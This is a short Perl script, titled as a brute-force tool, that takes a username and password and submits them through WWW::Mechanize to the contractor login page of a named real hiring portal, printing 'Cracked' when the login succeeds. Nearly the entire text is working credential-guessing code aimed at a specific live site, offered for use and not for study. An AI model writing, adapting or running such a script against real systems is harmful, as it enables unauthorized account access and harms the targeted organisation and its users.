BF To N@Bale

use WWW::Mechanize;

print "Username -> ";
$username = <STDIN>;
chomp($username);

print "Password -> ";
$password = <STDIN>;
chomp($password);

$login = WWW::Mechanize->new();
$login->get('https://mmmsl-hiring.prasarana.com.my/hcd/hiring/contractors/login');
$login->field('data[Contractor][login]' => $username);
$login->field('data[Contractor][password]' => $password);
$login->click();
if ($login->content=~ /The information given is not available in our collection./) {
    print "Failed ($username:$password)";
}
else
{
    print "Cracked ($username:$password)";
}